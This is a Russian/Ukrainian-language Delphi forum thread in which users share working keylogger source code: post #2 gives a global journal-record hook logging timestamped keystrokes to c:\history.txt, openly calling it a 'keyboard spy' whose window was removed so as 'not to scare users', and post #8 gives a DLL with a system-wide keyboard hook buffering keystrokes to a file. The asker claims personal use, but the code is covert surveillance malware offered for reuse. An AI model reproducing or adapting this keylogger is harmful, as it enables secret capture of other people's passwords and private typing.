![]() |
|
|
|
|
#1
|
|||
|
|||
|
Нужно, чтоб при вводе определённого текста, например qwe, даже если программа находиться в фоне, в файл log.txt записывались все нажатия клавиш, до момента нажатия на Enter.
Программа пишеться для себя, не предназначена для шпионажа за другими пользователями, компьютерами и т.п. |
|
#2
|
|||
|
|||
|
Тримай код. Це клавіатурний шпигун, але його можна використати і для товєї задачі. (В своєму проекті я видалив форму програми, щою не налякати юзаків
)Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
h:hhook;
implementation
{$R *.dfm}
function Proc(code:integer;wParam:WPARAM;lParam:LPARAM):lresult;stdcall;
var c:array[0..255] of char;
nScan:integer;
f:textfile;
t:_systemtime;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
assignfile(f,'c:\history.txt');
append(F);
getsystemtime(t);
writeln(f,'date:'+inttostr(t.wDay)+'.'+inttostr(t.wMonth)+'.'+inttostr(t.wYear)+' time:'
+inttostr(t.wHour)+':'+inttostr(t.wMinute)+':'+inttostr(t.wSecond)+'.'
+inttostr(t.wMilliseconds)+'['+c+']');
closefile(f);
end;
result:=callnexthookex(h,code,wparam,lparam);
end;
procedure TForm1.FormCreate(Sender: TObject);
var f:textfile;
begin
assignfile(f,'c:\history.txt');
rewrite(f);
closefile(f);
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;
end. |
|
#3
|
|||
|
|||
|
Цитата:
Процедура Proc нигде не используеться и что делают setwindowshookex, unhookwindowshookex? |
|
#4
|
|||
|
|||
|
Цитата:
Цитата:
Код:
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0); Цитата:
unhookwindowshookex - відповідно вигружає його з системи. А для певності тримай архів програми (KeyLogger.rar) |
|
#5
|
|||
|
|||
|
Цитата:
Цитата:
Оба исходника работают, но как сделать RunStopHook(True) при вводе текста qwe где-то в винде и RunStopHook(False) при нажатии на Enter. Кстати насчёт второго исходника, как в нём сделать, чтоб при нажатии на Enter в лог файле был переход на новую строку? |
|
#6
|
|||
|
|||
|
Цитата:
Блин, у меня при запуске программы курсор мышки пропадает, а когда закрываю прогу, опять появлятся. как исправить? ( |
|
#7
|
||||
|
||||
|
Есть такая функция - GetKeyState(Key:Byte);
Возвращает што-то меньше ноля(помоему) если нажата, и ноль - если нет. Тоесть Код:
var c, c1 : Char;
begin
for c := 'A' to 'Z' do begin
c1 := '-';
if GetKeyState(Ord(c)) < 0 then// Получение состояния клавиши
c1 := '+';
Label1.Caption := Label1.Caption +c+'='+c1+#10#13;
end;
....В итоге должно получиться так. (нажата клавиша I) A=- B=- C=- D=- .... I=+ .... Z=- |
|
#8
|
|||
|
|||
|
С к одом особо не заморачивался, так что тут много багов и не тестил (но работать долно, это точно)
Значит первое. Создаешь длл файл и в нем пишешь Код:
library KeyLogger;
uses
Windows, Messages;
var
Text: String = '';
SysHook: HHook = 0;
function KeyHook(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
KeyName: array [0..16] of Char;
nScan: Integer;
AFile: TextFile;
begin // получили код
if (nCode = HC_ACTION) and // и клавиша отпущена
(((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyNameText(lParam, KeyName, SizeOf(KeyName)); // код клавиши
Text := Text + KeyName; // добавляем к тексту
if Length(Text) >= 256 then // пишем в файл
begin
AssignFile(AFile, 'c:\history.txt');
Append(AFile);
Writeln(AFile, Text);
CloseFile(AFile);
Text := '';
end;
end;
CallNextHookEx(SysHook, nCode, lParam, wParam); // следующая ловушка
end;
procedure RunStopHook(const State: Boolean) export; stdcall;
begin
if State then
SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0)
else
begin
UnhookWindowsHookEx(SysHook);
SysHook := 0;
end;
end;
exports RunStopHook index 1;
begin
end.А в програме после строчек Код:
var Form1: TForm1; пишешь procedure RunStopHook(State: Boolean) stdcall; external 'KeyLogger.dll'; Далее в создании формы включаешь ловушку RunStopHook(True) а в уничтожении выключаешь RunStopHook(False) Есть бага, если юзер до выключения программы не ввел 256 символов то они небудут записаны в файл |